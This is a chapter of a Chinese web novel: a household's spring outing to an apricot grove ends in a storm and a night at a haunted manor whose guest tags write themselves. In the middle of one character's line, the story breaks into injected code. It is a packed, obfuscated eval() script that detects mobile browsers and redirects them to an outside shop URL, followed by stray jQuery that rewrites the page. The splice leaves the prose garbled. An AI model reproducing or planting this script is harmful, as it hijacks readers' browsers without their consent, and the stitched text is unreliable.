谢宣衡送来的梅树谢尽残红，枝头转眼便青了。
虞岁晚这一冬过得闲散。铺中偶尔有客，事情也不难办，寻常是压惊、问梦，或替人看一看搬家时挖出来的古怪物件。刘掌柜坐在账台后渐渐习惯了清静，连阿白偷叼签筒里的竹签，他也只在当天账册上添了一行，记作白狐损耗，待月底一并追究。
那日天色格外明净，日光照过新叶，窗纸也透着一层柔软的绿。虞岁晚梳头梳到一半，忽然听见屋顶上传来细长竹哨声。
一只青燕纸鸢越过知微堂，贴着檐角往北飞去。牵线的孩子藏在街坊屋后，只能听见奔跑时杂乱的脚步。眠蚕原本趴在梅树上晒暖，被纸鸢的长尾扫过脑袋，慌忙吐丝挂住枝梢，圆滚滚的身子悬在半空，荡来荡去。
虞岁晚披着头发走到窗前，伸手把它接下来，目光仍跟着纸鸢。
晏知还拿着木梳站在她身后，见她迟迟不回去，索性走到窗边，替她把散发拢到肩后。
“想出去玩？”
“忽然有些想。”虞岁晚转过脸，眼中已经有了主意，“春日难得，今日去踏青。”
她兴致来得快，落定以后也不愿等。刘掌柜刚卸下铺门，便看见虞岁晚换了轻便衣裙从后院出来，晏知还跟在旁边，手里拿着她的帷帽和一柄遮阳伞。
“歇业牌还在柜子下面。”虞岁晚朝账台一指，“挂得显眼些，别叫人白等。”
刘掌柜看看天色，又看看才翻开一页的账簿：“今日是什么要紧日子？”
“适合出门的日子。”
“明日若也适合呢？”
“那就明日再说。”
虞岁晚说完便去后院牵青骡，丝毫不觉得这番安排有何不妥。刘掌柜同她讲道理向来费劲，低头写了块“掌柜游春，暂歇一日”，墨迹尚未干透，余四娘已经从灶房里探出身子，问他们究竟打算去哪里。
城南杏花坡离得不远，坡下有溪，林中还留着几座供游人歇脚的水亭。每逢春日，城中人家常携酒食过去看花、放纸鸢。兴致再好些，还能沿溪租一条小船，或在庄户搭起的彩棚下玩投壶、秋千，待日头偏西再慢慢回城。
余四娘听明白去处，先看向自己才和好的面团，随即用湿布盖住木盆：“总不能空着手去，等我一刻钟。”
她近来会做的菜多了，灶房墙边钉着一块薄木板，板上挂了十几张油迹斑斑的纸。卖鱼的陈嫂教她收拾河鲜，她便拿去膻的法子相换。城东一位专做蜜煎的老师傅尝过她调的肉酱，又把煮果子的火候写给了刘掌柜。
她每学一样，头几回总有些差错，盐重了便添进汤里，鱼蒸老了就拆肉做羹，横竖一家人关起门来慢慢吃，倒也没人舍得浪费她那股认真劲。
今日出门仓促，余四娘未做复杂东西。她把昨夜腌好的河鱼裹进荷叶，搁在小炉上炙熟，又装了一盒春笋和紫苏渍梅，余下吃食沿途再买。
余三郎从廊下取来短杖，顺手帮她提食盒。伤势养了一个冬天，他比预想中恢复的还快上许多，行走已稳当，遇上长路才需借力。青骡套好车时，阿白早早占住软垫，眠蚕藏在狐耳后，露出一双细小触角。
知微堂一行出了南门，沿青溪往杏花坡去。
昨夜才下过一阵小雨，官道边的草色像刚染出来，浅处带黄，向水边渐渐转浓。杨柳低垂在溪面，柔枝被流水映成两层。踏青的人从城门一路散到郊外，衣衫也比冬日鲜亮许多，偶尔有纸鸢横过长空，竹哨迎风而响，远远听去像鸟鸣。
虞岁晚坐了没多久便嫌车篷挡景，跳下来牵着青骡慢慢走。晏知还陪在她身侧，走过一段泥泞处时，抬手替她提住裙角。她今日穿的是小满年前替她量做的浅青褙子，腰间束一条杏色软带，袖口窄而利落，行走时像一枝刚抽出水面的新荷。
她偏头打量晏知还。他身上那件鸦青圆领袍也是顾家送来的，腰间配了她亲自挑的玉，春光落在肩头，连平日那点疏冷也淡了。
“这身衣裳没白做。”虞岁晚伸手碰了一下玉佩，“晏公子今日颇能给知微堂长脸。”
晏知还替她避开横到路中的柳枝：“知微堂今日闭门，长给谁看？”
“给我看。”
晏知还垂眼望她，指尖顺着她腕间落下，与她牵在一处。
杏花坡已经开得极盛。
山坡像浮了一层轻粉，风穿林而过，花瓣便落进草中。游人多聚在临水一侧，越往坡后走越清静。刘掌柜寻到一座空亭，把席子铺在栏边，余四娘打开食盒，荷叶里的炙鱼仍有余温，香气很快招来了在附近兜圈的阿白。
虞岁晚没急着吃，先被坡上的纸鸢摊引走了。摊主把燕子、彩蝶和鱼龙插在长竹竿上，翅膀被风吹得不停颤动。她挑了一只黑羽白腹的飞鸟，拿回去塞给晏知还，自己抱着线轴往林外空地走。
“今日定要将它飞上去，飞不上去一定是纸鸢做得不好。”虞岁晚边走还不忘扭头朝晏知还喊。
晏知还接住飞鸟，等她跑出一段，手臂一送，纸鸢便乘着迎面而来的风离开掌心。虞岁晚放线太快，黑鸟在半空打了个旋，眼看要跌进杏林，晏知还从后面握住她的手，将丝线缓缓收回。
“顺着风来，别同它硬扯。”
“它若肯听话，我何必扯它。”
“你手里攥得这样紧，它也怕。”
虞岁晚听着像在说纸鸢，又觉得他意有所指，转过身看了他一眼。晏知还神情坦然，手掌仍覆着她的指节，带着她一收一放。黑鸟很快稳住身形，飞过最高的杏枝，长尾在碧空下舒展开来。
“晏公子。”她仰头看着纸鸢，忽然道，“你是不是趁我没留意，偷偷学过许多东西？”
“没有。”
“那你怎么什么都会？”
“这些不难。”
虞岁晚被他这句说得不大服气，索性把线轴往他怀里一塞，自己转身走了：“既然不难，你替我放着。我去吃鱼。”
晏知还牵着纸鸢跟在后面，行至水亭前才发现她特意放慢了脚步。他空着的手从她腰后绕过，把人带到自己身边，两人并肩坐下，那只黑鸟仍在亭外高高飞着。
这一顿饭吃得悠闲。
余四娘炙鱼的火候恰好，鱼腹鲜嫩，紫苏梅的酸味又压住了河鲜的腥气。刘掌柜从附近茶棚带回一壶新茶，还买了一盒樱桃煎。虞岁晚尝过一枚，觉得甜，转手递给晏知还。他垂头就着她指尖吃了。
余四娘瞧见这一幕，伸手将整盒果子推到他们面前：“你们慢慢吃，我去看看溪边可有新鲜蕨菜。”
刘掌柜也端起茶盏，转头研究亭柱上几行模糊题字。余三郎倚着栏杆看水，装得很是专心。虞岁晚环顾一圈，终于察觉这群人近来避嫌避得愈发熟练。
“他们如今很懂事。”她靠近晏知还，压低声音评价。
“嗯。”
“你一点也不惭愧？”
晏知还把纸鸢线绕过亭柱，腾出手替她拂去发间花瓣：“为何要惭愧？”
虞岁晚想想也是，便把剩下半枚樱桃煎送进自己嘴里，枕着他的腿晒了片刻太阳。
午后风势渐缓，林中热闹也散去许多。坡顶秋千空了出来，虞岁晚兴致尚在，拉着晏知还过去坐了一回。她起初只想缓缓晃几下，晏知还从后面推了一把，秋千忽然越过杏枝，吓得眠蚕从阿白背上滚进草里。
虞岁晚抓紧绳索，回头朝他喊：“你这是推秋千还是送我上天？”
晏知还站在树下，伸手接住荡回来的木板：“是你说高些。”
“我说的是一点。”
“方才那一点比较高。”
她被这句歪理气得想踢他，脚尖还未碰到衣摆，腰已经被他稳稳托住。秋千慢下来，晏知还站在她面前，她顺势圈住他的颈项，整个人挂在他身上，打定主意叫他负责把自己抱回水亭。
春日难得这样好，连时辰也像过得慢。直到山坡另一侧传来收摊的吆喝，刘掌柜才开始卷席，催众人趁城门落锁前回去。
天色正是在这时暗下来的。
杏林上方原本还透着日光，转眼压来一片铅灰云层。风从山后猛地灌进林中，地上的花瓣被卷起半人高，系在亭柱上的纸鸢骤然绷紧，竹骨发出细细鸣响。
虞岁晚仰头看了一眼。远处天际隐约闪过白光，雷声隔着群山滚来，沉闷得像车轮碾过长桥。
“春日的天变得倒快。”余四娘合上食盒，“先上车，路上兴许只落几滴。”
话音才落，一滴雨打在漆盒上，溅开铜钱大的一朵水花。
紧跟着，整片杏林都响了。
雨来得毫无铺垫，粗密雨线越过树冠砸下来，转眼将山坡罩成灰白。亭外游人纷纷收拾东西往官道赶，纸鸢来不及卸线，湿透的翅膀一头栽进花丛。青骡被雷惊得在树下踏了两步，晏知还抓住缰绳，另一只手将虞岁晚护进披风中。
“官道地势低，回城未必走得通。”虞岁晚隔着雨幕望向坡下。溪水已经浑了，原本露出水面的石头接连被漫过去，雨势再持续半个时辰，靠近南门的木桥便要封路。
刘掌柜抱着账匣站在亭檐下，忽然想起一处地方：“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17838934|211575||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
杏花坡背面有座停云庄。前些日子来铺中买安宅符的客人提过，那边春秋两季开园待客，可以赁小院住宿，也备马厩和热汤。离这里约莫两里，从坡后走，不必过溪桥。”
余四娘也听说过那座庄院。教她做紫苏渍梅的婆婆有个侄女在庄中帮厨，曾说停云庄临着一眼暖泉，城中人家常去小住，赏花、垂钓皆有去处。即便撞上雨雪，庄里也会收留赶路客，不叫人困在荒郊。
虞岁晚当即拍板：“今晚住那里。”
众人把行李重新塞进车中。刘掌柜和余三郎坐进车篷，护着食盒与怕水的眠蚕。阿白甩了两回尾巴，仍被淋得像一团贴身白布，只得钻进刘掌柜怀中。余四娘坐到车辕内侧，替青骡挡着迎面雨水。
坡后小路比官道窄，泥土也松。车轮才走出杏林便陷了一回，晏知还抬住车辕，青骡趁势往前一挣，整辆车从泥坑里脱出来，泥水飞了他半身。
虞岁晚与他共撑一把伞，见雨水顺着他下颌往衣领里淌，伸手替他抹了一把：“早知道在亭里多等一阵。”
“溪水涨得很快，再等便要困到明日。”
晏知还把伞面往她那边偏去。虞岁晚看见自己肩上干干净净，他那侧衣袖已经湿透，伸手推回伞柄，又将半边披风裹到他身上。
“挨近些，一把伞又不是只能站一个人。”
两人贴着车侧往前走。雷声越来越近，山野被闪电照亮一瞬，前方路口的木牌也在白光中显出“停云庄”三字。牌后有一条铺着碎石的岔路，沿缓坡绕进竹林，尽头隐约亮着两盏风灯。
这条路比外面好走许多，石缝中的水顺着两侧沟渠流下，显然常有人修整。行出半里，竹林忽然断开，一座青瓦白墙的庄院出现在雨幕中。
庄门建得宽阔，两侧设有避雨长廊。门内的灯全亮着，马厩里铺了新草，连接车用的木台也已经摆到阶前。虞岁晚一行尚未叩门，厚重门扇便向里打开。
一位花白头发的老管事提灯迎出来，看见他们这辆沾满泥水的车，脸上并无惊讶，反倒像松了口气。
“可算到了。”他招呼庄丁牵走青骡，又叫侍女取干巾和姜汤，“东边的听竹院已经烧过地龙，五位住得开。白狐怕生的话，也可跟着进院。那只小虫喜暖，屋里备了炭笼。”
刘掌柜正要下车，闻言把迈出的木头腿收了回来：“老丈认得我们？”
“今日以前，从未见过。”
老管事回答得坦荡，引着众人进前厅。厅中陈设雅致，窗外连着一片雨打芭蕉的庭院。靠墙挂着十几枚客牌，牌面写着院落名称，住进客人以后便翻到朱红一面，退房时再转回原木色。
老管事走到最末，将写着“听竹院”的木牌翻过来。
背面并非空白。
墨迹像刚写上不久，尚带着微微湿意。
临水知微堂，五人，一狐，一蚕，一青骡。春雷至，留宿三日。
余四娘下意识回头数了一遍。他们此行确实是五个人，阿白、眠蚕与青骡也一个不少。离开杏花坡时谁也未曾先来报信，雨中山路又无旁的行人，这块牌子却把来客写得清清楚楚。
晏知还伸手碰过墨迹，指腹沾上一点凉意。
“谁写的？”
老管事提着灯，神情复杂地望向客牌最上方。那里还挂着一块小得多的木牌，颜色已经被岁月磨成深褐，上面仅有两个字。
杳杳。
“停云庄的客牌会在春雷前自己落字。”他说，“庄子靠着它救过许多迷路的人，也提前备过不少房。今日本该有六位客人进门，眼下还少一位。”
院外骤然落下一道惊雷。
灯焰被震得齐齐矮下去，那枚写着“阿杳”的旧牌轻轻晃动，木头背面慢慢洇出一道朱红。
老管事手中的灯险些脱落。
朱面意味着客人已经进庄。
守门庄丁还站在门外，庄门从未第二次打开。通往客院的青砖地上，却多出一串细小水印，从门厅后方一路延伸出去。
脚印越过回廊，停在听竹院门前。
远处山谷忽然传来一声巨响，像有什么庞然重物被洪水推倒。片刻以后，守在门外的庄丁奔进前厅，脸色发白地禀报，杏花坡下的溪桥已经塌了。
若众人方才迟走一刻，此时还困在桥边。
老管事望着那串水印，嘴唇动了几回，才低低唤出一个名字。
“杳杳，你又去接客人了么？”
雨声填满整座停云庄。
听竹院紧闭的门，在众人眼前缓缓开了一道缝。